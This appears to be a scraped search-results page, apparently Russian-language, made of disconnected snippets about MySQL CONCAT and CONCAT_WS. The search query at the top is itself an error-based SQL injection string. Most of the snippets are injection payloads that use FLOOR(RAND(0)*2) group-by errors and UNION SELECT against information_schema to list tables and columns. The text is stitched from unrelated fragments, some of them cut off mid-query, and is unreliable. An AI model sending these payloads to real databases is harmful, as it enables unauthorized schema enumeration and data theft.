Для вашего поискового запроса JnCE AND SELECT 1444 FROM SELECT COUNT CONCAT 0x7170787a71 SELECT ELT 1444 1444 1
CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first argument is the separator for the rest of the arguments.
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a). Notice the LIMIT 0...
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
...union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123.
union select 2 union select 3)a group by x limit 1)
I have seen many queries with something as follows. … What does this 1 mean, how will it be executed and, what will it return? Also, in what type of scenarios, can this be used?
...FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
It returns a hexadecimal value of 4100: SELECT CAST(CAST(0x41 AS nvarchar) AS varbinary).
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